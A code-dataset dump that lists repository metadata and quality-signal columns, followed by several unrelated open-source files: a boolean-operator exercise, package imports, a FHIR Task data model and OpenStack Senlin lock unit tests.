hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
971f77e1a1cd8261db820d5b5ce936c3df41c6a5
362
py
Python
Boolean Operator_AND_OR_NOT.py
AlexandrosPanag/My_Python_Projects
145725eb3c98551af57b1c244fea0f487a0511d1
[ "MIT" ]
null
null
null
Boolean Operator_AND_OR_NOT.py
AlexandrosPanag/My_Python_Projects
145725eb3c98551af57b1c244fea0f487a0511d1
[ "MIT" ]
null
null
null
Boolean Operator_AND_OR_NOT.py
AlexandrosPanag/My_Python_Projects
145725eb3c98551af57b1c244fea0f487a0511d1
[ "MIT" ]
null
null
null
if( 1 == 1) and (2+1 > 3): print("The first statement is true/n") #false statement because 1=1 is true & 2+1 > 3 is false == true + false == false elif (1 == 1 or 2 == 1): print("The second statement is true") #True statement because 1 == 1 is true 2 == 1 is false == TRUE OR FALSE = True if(not 1 > 9): print("The third statement is true")
45.25
124
0.60221
66
362
3.30303
0.30303
0.137615
0.206422
0.165138
0.238532
0.238532
0.238532
0.238532
0
0
0
0.074349
0.256906
362
7
125
51.714286
0.736059
0.430939
0
0
0
0
0.428571
0
0
0
0
0
0
1
0
true
0
0
0
0
0.5
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
5
975d312c0bcc4de17fb71002a803fd9624a1c053
25
py
Python
fact/__init__.py
unicornunicode/FACT
fcdda7e7a2f6615d4b4cdb2afcdd230194bdc935
[ "MIT" ]
17
2021-11-24T14:20:02.000Z
2022-03-22T11:45:44.000Z
test/__init__.py
unicornunicode/FACT
fcdda7e7a2f6615d4b4cdb2afcdd230194bdc935
[ "MIT" ]
null
null
null
test/__init__.py
unicornunicode/FACT
fcdda7e7a2f6615d4b4cdb2afcdd230194bdc935
[ "MIT" ]
2
2022-01-26T02:14:18.000Z
2022-01-31T20:06:39.000Z
# vim: set et ts=4 sw=4:
12.5
24
0.56
7
25
2
0.857143
0
0
0
0
0
0
0
0
0
0
0.105263
0.24
25
1
25
25
0.631579
0.88
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
9763f2685ee8c1bccb99b50484930ff156c0b0e6
69
py
Python
src/language/tokenizer/__init__.py
ArielTriana/battle-sim
75205bbff62024d28b42fd25ce268440ecc6f009
[ "MIT" ]
2
2021-11-23T15:47:07.000Z
2022-03-03T01:38:19.000Z
src/language/tokenizer/__init__.py
ArielTriana/battle-sim
75205bbff62024d28b42fd25ce268440ecc6f009
[ "MIT" ]
11
2021-11-05T15:47:39.000Z
2022-02-07T05:05:11.000Z
src/language/tokenizer/__init__.py
ArielTriana/battle-sim
75205bbff62024d28b42fd25ce268440ecc6f009
[ "MIT" ]
1
2021-12-07T00:00:48.000Z
2021-12-07T00:00:48.000Z
from .token import Token, TokenType from .tokenizer import Tokenizer
23
35
0.826087
9
69
6.333333
0.555556
0
0
0
0
0
0
0
0
0
0
0
0.130435
69
2
36
34.5
0.95
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
9768bb268a7723c4476257f670598ed4a28cf4a8
444
py
Python
src/hepmc/core/markov/__init__.py
mathisgerdes/monte-carlo-integration
533d13eeb538fec46f8d5ed00e780153b68ba7d9
[ "MIT" ]
2
2018-11-15T03:01:03.000Z
2020-02-25T16:54:02.000Z
src/hepmc/core/markov/__init__.py
mathisgerdes/monte-carlo-integration
533d13eeb538fec46f8d5ed00e780153b68ba7d9
[ "MIT" ]
null
null
null
src/hepmc/core/markov/__init__.py
mathisgerdes/monte-carlo-integration
533d13eeb538fec46f8d5ed00e780153b68ba7d9
[ "MIT" ]
1
2021-04-15T09:02:00.000Z
2021-04-15T09:02:00.000Z
from .base import MarkovUpdate, MixingMarkovUpdate, CompositeMarkovUpdate from .metropolis import MetropolisUpdate, DefaultMetropolis from .metropolis_adaptive import AdaptiveMetropolisUpdate from .metropolis_adaptive import StochasticOptimizeUpdate __all__ = ['MarkovUpdate', 'MixingMarkovUpdate', 'CompositeMarkovUpdate', 'MetropolisUpdate', 'DefaultMetropolis', 'AdaptiveMetropolisUpdate', 'StochasticOptimizeUpdate']
49.333333
79
0.817568
29
444
12.310345
0.448276
0.117647
0.285714
0.156863
0
0
0
0
0
0
0
0
0.114865
444
8
80
55.5
0.908397
0
0
0
0
0
0.297297
0.155405
0
0
0
0
0
1
0
false
0
0.571429
0
0.571429
0
1
0
1
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
9771b4ac553c5d1bc41f1f3a4e975fc4f9bacb52
244
py
Python
d3d/io/lmdb.py
cmpute/d3d
dbe43e5608653c5b743423541a80e388e13be771
[ "MIT" ]
27
2020-04-16T22:24:47.000Z
2022-01-12T08:23:43.000Z
d3d/io/lmdb.py
cmpute/d3d
dbe43e5608653c5b743423541a80e388e13be771
[ "MIT" ]
2
2020-08-11T07:03:35.000Z
2021-02-05T06:43:26.000Z
d3d/io/lmdb.py
cmpute/d3d
dbe43e5608653c5b743423541a80e388e13be771
[ "MIT" ]
6
2020-04-16T21:49:50.000Z
2022-01-26T15:38:47.000Z
from d3d.dataset.base import DetectionDatasetBase from pathlib import Path from typing import Union def dump_dataset(dataset: DetectionDatasetBase, out_path: Union[str, Path], frame_integrity=False): pass
27.111111
49
0.704918
28
244
6.035714
0.642857
0
0
0
0
0
0
0
0
0
0
0.005405
0.241803
244
8
50
30.5
0.908108
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0.142857
0.428571
0
0.571429
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
5
979c7e224f86117547686199f82f656294033fbd
12,676
py
Python
model/task.py
beda-software/fhir-py-experements
363cfb894fa6f971b9be19340cae1b0a3a4377d8
[ "MIT" ]
null
null
null
model/task.py
beda-software/fhir-py-experements
363cfb894fa6f971b9be19340cae1b0a3a4377d8
[ "MIT" ]
null
null
null
model/task.py
beda-software/fhir-py-experements
363cfb894fa6f971b9be19340cae1b0a3a4377d8
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Generated from FHIR 4.0.1-9346c8cc45 (http://hl7.org/fhir/StructureDefinition/Task) on 2020-02-03. # 2020, SMART Health IT. import sys from dataclasses import dataclass, field from typing import ClassVar, Optional, List from .address import Address from .age import Age from .annotation import Annotation from .attachment import Attachment from .backboneelement import BackboneElement from .codeableconcept import CodeableConcept from .coding import Coding from .contactdetail import ContactDetail from .contactpoint import ContactPoint from .contributor import Contributor from .count import Count from .datarequirement import DataRequirement from .distance import Distance from .domainresource import DomainResource from .dosage import Dosage from .duration import Duration from .expression import Expression from .fhirdate import FHIRDate from .fhirreference import FHIRReference from .humanname import HumanName from .identifier import Identifier from .meta import Meta from .money import Money from .parameterdefinition import ParameterDefinition from .period import Period from .quantity import Quantity from .range import Range from .ratio import Ratio from .relatedartifact import RelatedArtifact from .sampleddata import SampledData from .signature import Signature from .timing import Timing from .triggerdefinition import TriggerDefinition from .usagecontext import UsageContext @dataclass class TaskRestriction(BackboneElement): """ Constraints on fulfillment tasks. If the Task.focus is a request resource and the task is seeking fulfillment (i.e. is asking for the request to be actioned), this element identifies any limitations on what parts of the referenced request should be actioned. """ resource_type: ClassVar[str] = "TaskRestriction" repetitions: Optional[int] = None period: Optional[Period] = None recipient: Optional[List[FHIRReference]] = None @dataclass class TaskInput(BackboneElement): """ Information used to perform task. Additional information that may be needed in the execution of the task. """ resource_type: ClassVar[str] = "TaskInput" type: CodeableConcept = None valueBase64Binary: str = field(default=None, metadata=dict(one_of_many='value',)) valueBoolean: bool = field(default=None, metadata=dict(one_of_many='value',)) valueCanonical: str = field(default=None, metadata=dict(one_of_many='value',)) valueCode: str = field(default=None, metadata=dict(one_of_many='value',)) valueDate: FHIRDate = field(default=None, metadata=dict(one_of_many='value',)) valueDateTime: FHIRDate = field(default=None, metadata=dict(one_of_many='value',)) valueDecimal: float = field(default=None, metadata=dict(one_of_many='value',)) valueId: str = field(default=None, metadata=dict(one_of_many='value',)) valueInstant: FHIRDate = field(default=None, metadata=dict(one_of_many='value',)) valueInteger: int = field(default=None, metadata=dict(one_of_many='value',)) valueMarkdown: str = field(default=None, metadata=dict(one_of_many='value',)) valueOid: str = field(default=None, metadata=dict(one_of_many='value',)) valuePositiveInt: int = field(default=None, metadata=dict(one_of_many='value',)) valueString: str = field(default=None, metadata=dict(one_of_many='value',)) valueTime: FHIRDate = field(default=None, metadata=dict(one_of_many='value',)) valueUnsignedInt: int = field(default=None, metadata=dict(one_of_many='value',)) valueUri: str = field(default=None, metadata=dict(one_of_many='value',)) valueUrl: str = field(default=None, metadata=dict(one_of_many='value',)) valueUuid: str = field(default=None, metadata=dict(one_of_many='value',)) valueAddress: Address = field(default=None, metadata=dict(one_of_many='value',)) valueAge: Age = field(default=None, metadata=dict(one_of_many='value',)) valueAnnotation: Annotation = field(default=None, metadata=dict(one_of_many='value',)) valueAttachment: Attachment = field(default=None, metadata=dict(one_of_many='value',)) valueCodeableConcept: CodeableConcept = field(default=None, metadata=dict(one_of_many='value',)) valueCoding: Coding = field(default=None, metadata=dict(one_of_many='value',)) valueContactPoint: ContactPoint = field(default=None, metadata=dict(one_of_many='value',)) valueCount: Count = field(default=None, metadata=dict(one_of_many='value',)) valueDistance: Distance = field(default=None, metadata=dict(one_of_many='value',)) valueDuration: Duration = field(default=None, metadata=dict(one_of_many='value',)) valueHumanName: HumanName = field(default=None, metadata=dict(one_of_many='value',)) valueIdentifier: Identifier = field(default=None, metadata=dict(one_of_many='value',)) valueMoney: Money = field(default=None, metadata=dict(one_of_many='value',)) valuePeriod: Period = field(default=None, metadata=dict(one_of_many='value',)) valueQuantity: Quantity = field(default=None, metadata=dict(one_of_many='value',)) valueRange: Range = field(default=None, metadata=dict(one_of_many='value',)) valueRatio: Ratio = field(default=None, metadata=dict(one_of_many='value',)) valueReference: FHIRReference = field(default=None, metadata=dict(one_of_many='value',)) valueSampledData: SampledData = field(default=None, metadata=dict(one_of_many='value',)) valueSignature: Signature = field(default=None, metadata=dict(one_of_many='value',)) valueTiming: Timing = field(default=None, metadata=dict(one_of_many='value',)) valueContactDetail: ContactDetail = field(default=None, metadata=dict(one_of_many='value',)) valueContributor: Contributor = field(default=None, metadata=dict(one_of_many='value',)) valueDataRequirement: DataRequirement = field(default=None, metadata=dict(one_of_many='value',)) valueExpression: Expression = field(default=None, metadata=dict(one_of_many='value',)) valueParameterDefinition: ParameterDefinition = field(default=None, metadata=dict(one_of_many='value',)) valueRelatedArtifact: RelatedArtifact = field(default=None, metadata=dict(one_of_many='value',)) valueTriggerDefinition: TriggerDefinition = field(default=None, metadata=dict(one_of_many='value',)) valueUsageContext: UsageContext = field(default=None, metadata=dict(one_of_many='value',)) valueDosage: Dosage = field(default=None, metadata=dict(one_of_many='value',)) valueMeta: Meta = field(default=None, metadata=dict(one_of_many='value',)) @dataclass class TaskOutput(BackboneElement): """ Information produced as part of task. Outputs produced by the Task. """ resource_type: ClassVar[str] = "TaskOutput" type: CodeableConcept = None valueBase64Binary: str = field(default=None, metadata=dict(one_of_many='value',)) valueBoolean: bool = field(default=None, metadata=dict(one_of_many='value',)) valueCanonical: str = field(default=None, metadata=dict(one_of_many='value',)) valueCode: str = field(default=None, metadata=dict(one_of_many='value',)) valueDate: FHIRDate = field(default=None, metadata=dict(one_of_many='value',)) valueDateTime: FHIRDate = field(default=None, metadata=dict(one_of_many='value',)) valueDecimal: float = field(default=None, metadata=dict(one_of_many='value',)) valueId: str = field(default=None, metadata=dict(one_of_many='value',)) valueInstant: FHIRDate = field(default=None, metadata=dict(one_of_many='value',)) valueInteger: int = field(default=None, metadata=dict(one_of_many='value',)) valueMarkdown: str = field(default=None, metadata=dict(one_of_many='value',)) valueOid: str = field(default=None, metadata=dict(one_of_many='value',)) valuePositiveInt: int = field(default=None, metadata=dict(one_of_many='value',)) valueString: str = field(default=None, metadata=dict(one_of_many='value',)) valueTime: FHIRDate = field(default=None, metadata=dict(one_of_many='value',)) valueUnsignedInt: int = field(default=None, metadata=dict(one_of_many='value',)) valueUri: str = field(default=None, metadata=dict(one_of_many='value',)) valueUrl: str = field(default=None, metadata=dict(one_of_many='value',)) valueUuid: str = field(default=None, metadata=dict(one_of_many='value',)) valueAddress: Address = field(default=None, metadata=dict(one_of_many='value',)) valueAge: Age = field(default=None, metadata=dict(one_of_many='value',)) valueAnnotation: Annotation = field(default=None, metadata=dict(one_of_many='value',)) valueAttachment: Attachment = field(default=None, metadata=dict(one_of_many='value',)) valueCodeableConcept: CodeableConcept = field(default=None, metadata=dict(one_of_many='value',)) valueCoding: Coding = field(default=None, metadata=dict(one_of_many='value',)) valueContactPoint: ContactPoint = field(default=None, metadata=dict(one_of_many='value',)) valueCount: Count = field(default=None, metadata=dict(one_of_many='value',)) valueDistance: Distance = field(default=None, metadata=dict(one_of_many='value',)) valueDuration: Duration = field(default=None, metadata=dict(one_of_many='value',)) valueHumanName: HumanName = field(default=None, metadata=dict(one_of_many='value',)) valueIdentifier: Identifier = field(default=None, metadata=dict(one_of_many='value',)) valueMoney: Money = field(default=None, metadata=dict(one_of_many='value',)) valuePeriod: Period = field(default=None, metadata=dict(one_of_many='value',)) valueQuantity: Quantity = field(default=None, metadata=dict(one_of_many='value',)) valueRange: Range = field(default=None, metadata=dict(one_of_many='value',)) valueRatio: Ratio = field(default=None, metadata=dict(one_of_many='value',)) valueReference: FHIRReference = field(default=None, metadata=dict(one_of_many='value',)) valueSampledData: SampledData = field(default=None, metadata=dict(one_of_many='value',)) valueSignature: Signature = field(default=None, metadata=dict(one_of_many='value',)) valueTiming: Timing = field(default=None, metadata=dict(one_of_many='value',)) valueContactDetail: ContactDetail = field(default=None, metadata=dict(one_of_many='value',)) valueContributor: Contributor = field(default=None, metadata=dict(one_of_many='value',)) valueDataRequirement: DataRequirement = field(default=None, metadata=dict(one_of_many='value',)) valueExpression: Expression = field(default=None, metadata=dict(one_of_many='value',)) valueParameterDefinition: ParameterDefinition = field(default=None, metadata=dict(one_of_many='value',)) valueRelatedArtifact: RelatedArtifact = field(default=None, metadata=dict(one_of_many='value',)) valueTriggerDefinition: TriggerDefinition = field(default=None, metadata=dict(one_of_many='value',)) valueUsageContext: UsageContext = field(default=None, metadata=dict(one_of_many='value',)) valueDosage: Dosage = field(default=None, metadata=dict(one_of_many='value',)) valueMeta: Meta = field(default=None, metadata=dict(one_of_many='value',)) @dataclass class Task(DomainResource): """ A task to be performed. """ resource_type: ClassVar[str] = "Task" identifier: Optional[List[Identifier]] = None instantiatesCanonical: Optional[str] = None instantiatesUri: Optional[str] = None basedOn: Optional[List[FHIRReference]] = None groupIdentifier: Optional[Identifier] = None partOf: Optional[List[FHIRReference]] = None status: str = None statusReason: Optional[CodeableConcept] = None businessStatus: Optional[CodeableConcept] = None intent: str = None priority: Optional[str] = None code: Optional[CodeableConcept] = None description: Optional[str] = None focus: Optional[FHIRReference] = None for_fhir: Optional[FHIRReference] = field(default=None, metadata=dict(orig_name='for')) encounter: Optional[FHIRReference] = None executionPeriod: Optional[Period] = None authoredOn: Optional[FHIRDate] = None lastModified: Optional[FHIRDate] = None requester: Optional[FHIRReference] = None performerType: Optional[List[CodeableConcept]] = None owner: Optional[FHIRReference] = None location: Optional[FHIRReference] = None reasonCode: Optional[CodeableConcept] = None reasonReference: Optional[FHIRReference] = None insurance: Optional[List[FHIRReference]] = None note: Optional[List[Annotation]] = None relevantHistory: Optional[List[FHIRReference]] = None restriction: Optional[TaskRestriction] = None input: Optional[List[TaskInput]] = None output: Optional[List[TaskOutput]] = None
57.881279
108
0.750079
1,547
12,676
6.012928
0.135747
0.130295
0.173726
0.260589
0.692217
0.692217
0.681359
0.681359
0.681359
0.681359
0
0.002518
0.122594
12,676
219
109
57.881279
0.833843
0.049779
0
0.572973
1
0
0.045151
0
0
0
0
0
0
1
0
true
0
0.2
0
0.978378
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
5
97a924700d0c43d300adc748a7ffb6236b4fbf4d
8,126
py
Python
senlin-7.0.0/senlin/tests/unit/engine/test_senlin_lock.py
scottwedge/OpenStack-Stein
7077d1f602031dace92916f14e36b124f474de15
[ "Apache-2.0" ]
null
null
null
senlin-7.0.0/senlin/tests/unit/engine/test_senlin_lock.py
scottwedge/OpenStack-Stein
7077d1f602031dace92916f14e36b124f474de15
[ "Apache-2.0" ]
5
2019-08-14T06:46:03.000Z
2021-12-13T20:01:25.000Z
senlin-7.0.0/senlin/tests/unit/engine/test_senlin_lock.py
scottwedge/OpenStack-Stein
7077d1f602031dace92916f14e36b124f474de15
[ "Apache-2.0" ]
2
2020-03-15T01:24:15.000Z
2020-07-22T20:34:26.000Z
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import mock from senlin.common import utils as common_utils from senlin.engine import senlin_lock as lockm from senlin.objects import action as ao from senlin.objects import cluster_lock as clo from senlin.objects import node_lock as nlo from senlin.objects import service as svco from senlin.tests.unit.common import base from senlin.tests.unit.common import utils class SenlinLockTest(base.SenlinTestCase): def setUp(self): super(SenlinLockTest, self).setUp() self.ctx = utils.dummy_context() ret = mock.Mock(owner='ENGINE', id='ACTION_ABC') self.stub_get = self.patchobject(ao.Action, 'get', return_value=ret) @mock.patch.object(clo.ClusterLock, "acquire") def test_cluster_lock_acquire_already_owner(self, mock_acquire): mock_acquire.return_value = ['ACTION_XYZ'] res = lockm.cluster_lock_acquire(self.ctx, 'CLUSTER_A', 'ACTION_XYZ') self.assertTrue(res) mock_acquire.assert_called_once_with('CLUSTER_A', 'ACTION_XYZ', lockm.CLUSTER_SCOPE) @mock.patch.object(common_utils, 'is_engine_dead') @mock.patch.object(svco.Service, 'gc_by_engine') @mock.patch.object(clo.ClusterLock, "acquire") @mock.patch.object(clo.ClusterLock, "steal") def test_cluster_lock_acquire_dead_owner(self, mock_steal, mock_acquire, mock_gc, mock_dead): mock_dead.return_value = True mock_acquire.return_value = ['ACTION_ABC'] mock_steal.return_value = ['ACTION_XYZ'] res = lockm.cluster_lock_acquire(self.ctx, 'CLUSTER_A', 'ACTION_XYZ', 'NEW_ENGINE') self.assertTrue(res) mock_acquire.assert_called_with("CLUSTER_A", "ACTION_XYZ", lockm.CLUSTER_SCOPE) self.assertEqual(3, mock_acquire.call_count) mock_steal.assert_called_once_with('CLUSTER_A', 'ACTION_XYZ') mock_gc.assert_called_once_with(mock.ANY) @mock.patch.object(common_utils, 'is_engine_dead') @mock.patch.object(clo.ClusterLock, "acquire") def test_cluster_lock_acquire_failed(self, mock_acquire, mock_dead): mock_dead.return_value = False mock_acquire.return_value = ['ACTION_ABC'] res = lockm.cluster_lock_acquire(self.ctx, 'CLUSTER_A', 'ACTION_XYZ') self.assertFalse(res) mock_acquire.assert_called_with('CLUSTER_A', 'ACTION_XYZ', lockm.CLUSTER_SCOPE) self.assertEqual(3, mock_acquire.call_count) @mock.patch.object(clo.ClusterLock, "acquire") @mock.patch.object(clo.ClusterLock, "steal") def test_cluster_lock_acquire_forced(self, mock_steal, mock_acquire): mock_acquire.return_value = ['ACTION_ABC'] mock_steal.return_value = ['ACTION_XY'] res = lockm.cluster_lock_acquire(self.ctx, 'CLUSTER_A', 'ACTION_XY', forced=True) self.assertTrue(res) mock_acquire.assert_called_with('CLUSTER_A', 'ACTION_XY', lockm.CLUSTER_SCOPE) self.assertEqual(3, mock_acquire.call_count) mock_steal.assert_called_once_with('CLUSTER_A', 'ACTION_XY') @mock.patch.object(common_utils, 'is_engine_dead') @mock.patch.object(clo.ClusterLock, "acquire") @mock.patch.object(clo.ClusterLock, "steal") def test_cluster_lock_acquire_steal_failed(self, mock_steal, mock_acquire, mock_dead): mock_dead.return_value = False mock_acquire.return_value = ['ACTION_ABC'] mock_steal.return_value = [] res = lockm.cluster_lock_acquire(self.ctx, 'CLUSTER_A', 'ACTION_XY', forced=True) self.assertFalse(res) mock_acquire.assert_called_with('CLUSTER_A', 'ACTION_XY', lockm.CLUSTER_SCOPE) self.assertEqual(3, mock_acquire.call_count) mock_steal.assert_called_once_with('CLUSTER_A', 'ACTION_XY') @mock.patch.object(clo.ClusterLock, "release") def test_cluster_lock_release(self, mock_release): actual = lockm.cluster_lock_release('C', 'A', 'S') self.assertEqual(mock_release.return_value, actual) mock_release.assert_called_once_with('C', 'A', 'S') @mock.patch.object(nlo.NodeLock, "acquire") def test_node_lock_acquire_already_owner(self, mock_acquire): mock_acquire.return_value = 'ACTION_XYZ' res = lockm.node_lock_acquire(self.ctx, 'NODE_A', 'ACTION_XYZ') self.assertTrue(res) mock_acquire.assert_called_once_with('NODE_A', 'ACTION_XYZ') @mock.patch.object(common_utils, 'is_engine_dead') @mock.patch.object(ao.Action, 'mark_failed') @mock.patch.object(nlo.NodeLock, "acquire") @mock.patch.object(nlo.NodeLock, "steal") def test_node_lock_acquire_dead_owner(self, mock_steal, mock_acquire, mock_action_fail, mock_dead): mock_dead.return_value = True mock_acquire.side_effect = ['ACTION_ABC'] mock_steal.return_value = 'ACTION_XYZ' res = lockm.node_lock_acquire(self.ctx, 'NODE_A', 'ACTION_XYZ', 'NEW_ENGINE') self.assertTrue(res) mock_acquire.assert_called_once_with('NODE_A', 'ACTION_XYZ') mock_steal.assert_called_once_with('NODE_A', 'ACTION_XYZ') mock_action_fail.assert_called_once_with( self.ctx, 'ACTION_ABC', mock.ANY, 'Engine died when executing this action.') @mock.patch.object(common_utils, 'is_engine_dead') @mock.patch.object(nlo.NodeLock, "acquire") def test_node_lock_acquire_failed(self, mock_acquire, mock_dead): mock_dead.return_value = False mock_acquire.side_effect = ['ACTION_ABC'] res = lockm.node_lock_acquire(self.ctx, 'NODE_A', 'ACTION_XYZ') self.assertFalse(res) mock_acquire.assert_called_once_with('NODE_A', 'ACTION_XYZ') @mock.patch.object(nlo.NodeLock, "acquire") @mock.patch.object(nlo.NodeLock, "steal") def test_node_lock_acquire_forced(self, mock_steal, mock_acquire): mock_acquire.side_effect = ['ACTION_ABC', 'ACTION_ABC', 'ACTION_ABC'] mock_steal.return_value = 'ACTION_XY' res = lockm.node_lock_acquire(self.ctx, 'NODE_A', 'ACTION_XY', forced=True) self.assertTrue(res) mock_acquire.assert_called_once_with('NODE_A', 'ACTION_XY') mock_steal.assert_called_once_with('NODE_A', 'ACTION_XY') @mock.patch.object(ao.Action, 'get') @mock.patch.object(nlo.NodeLock, "acquire") @mock.patch.object(nlo.NodeLock, "steal") def test_node_lock_acquire_steal_failed(self, mock_steal, mock_acquire, mock_get): mock_acquire.side_effect = ['ACTION_ABC'] mock_steal.return_value = None res = lockm.node_lock_acquire(self.ctx, 'NODE_A', 'ACTION_XY', forced=True) self.assertFalse(res) mock_acquire.assert_called_once_with('NODE_A', 'ACTION_XY') mock_steal.assert_called_once_with('NODE_A', 'ACTION_XY') @mock.patch.object(nlo.NodeLock, "release") def test_node_lock_release(self, mock_release): actual = lockm.node_lock_release('C', 'A') self.assertEqual(mock_release.return_value, actual) mock_release.assert_called_once_with('C', 'A')
42.544503
78
0.661703
1,039
8,126
4.851781
0.133782
0.074192
0.077366
0.063479
0.781393
0.773259
0.753422
0.738742
0.731403
0.710573
0
0.001283
0.232833
8,126
190
79
42.768421
0.807347
0.064607
0
0.568345
0
0
0.119779
0
0
0
0
0
0.258993
1
0.093525
false
0
0.064748
0
0.165468
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
97c77b145d61b9dcf747f8f17eaea844f50f3874
2,335
py
Python
list2.py
Mudit-1999/Mario-
e52089741139fcd9ef28b37b74089ccce11de9f2
[ "MIT" ]
null
null
null
list2.py
Mudit-1999/Mario-
e52089741139fcd9ef28b37b74089ccce11de9f2
[ "MIT" ]
null
null
null
list2.py
Mudit-1999/Mario-
e52089741139fcd9ef28b37b74089ccce11de9f2
[ "MIT" ]
null
null
null
